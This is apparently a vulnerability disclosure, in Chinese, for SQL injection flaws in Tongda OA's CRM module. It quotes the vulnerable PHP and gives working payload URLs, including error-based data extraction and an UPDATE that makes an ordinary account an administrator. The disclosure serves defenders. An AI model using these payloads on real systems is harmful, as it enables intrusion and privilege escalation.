### 简要描述:
通达OA SQL注射漏洞,需登录。
### 详细说明:
程序是集成化安装,在php.ini中register_globals设置为on,允许注册全局变量。
在/general/crm/apps/crm/include/deleteView.php文件中$id变量未初始化:
```
include_once( "general/crm/studio/header.php" );
include_once( "inc/utility.php" );
$flag = 0;
$query = "delete from crm_sys_list_view where id=".$id;
$cursor = exequery( $connection, $query );
```
测试语句如下:
```
http://oa.tongda2000.com:81/general/crm/apps/crm/include/deleteView.php?id=1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
```
[<img src="https://images.seebug.org/upload/201310/28165253e97da98318c69e9575b19ce25d921077.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/28165253e97da98318c69e9575b19ce25d921077.png)
在/general/crm/apps/crm/include/delete_submit.php中
```
ob_end_clean( );
$ATTACHMENT_ID = $_POST['ATTACH_ID'];
$ATTACHMENT_NAME = $_POST['ATTACH_NAME'];
$ENTITY_NAME = $_POST['ENTITY_NAME'];
$FIELD_NAME = $_POST['FIELD_NAME'];
$KEY_ID = $_POST['KEY_ID'];
$ATTACH_TYPE = $_POST['ATTACH_TYPE'];
$query = "select ".$FIELD_NAME.",".$FIELD_NAME."_text from ".$ENTITY_NAME." where id ='".$KEY_ID."'";
$cursor = exequery( $connection, $query );
```
$ENTITY_NAME、$FIELD_NAME、$ENTITY_NAME都未进行过滤可以注射SQL语句。
[<img src="https://images.seebug.org/upload/201310/28171517b7e208bf153b06e7deefc073443940fc.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/28171517b7e208bf153b06e7deefc073443940fc.png)
在/general/crm/modules/Account/account/DeleteView/index.php文件中:
```
include_once( "general/crm/apps/crm/header.php" );
$entity = $_GET['entity'];
$ids = $_GET['ids'];
$query = "update ".$entity." set ".$entity.( ".deleted = 1 where find_in_set(id, '".$ids."')" );
$cursor = exequery( $connection, $query );
```
$entity变量未初始化,导致能够更新数据库内的任意表,这里使用的是一般权限账号chr登录。
[<img src="https://images.seebug.org/upload/201310/281722412556b0036e930ad3a3e826a70e967b05.png" alt="4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/281722412556b0036e930ad3a3e826a70e967b05.png)
下面将chr update为管理员权限。
```
http://oa.tongda2000.com:81/general/crm/modules/Account/account/DeleteView/index.php?entity=user set USER_PRIV=1 where user_id=0x636872%23
```
[<img src="https://images.seebug.org/upload/201310/28173128b6d3327da1ae8cb1a6bb2c888ae63c72.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201310/28173128b6d3327da1ae8cb1a6bb2c888ae63c72.png)
### 漏洞证明:
同上
暂无评论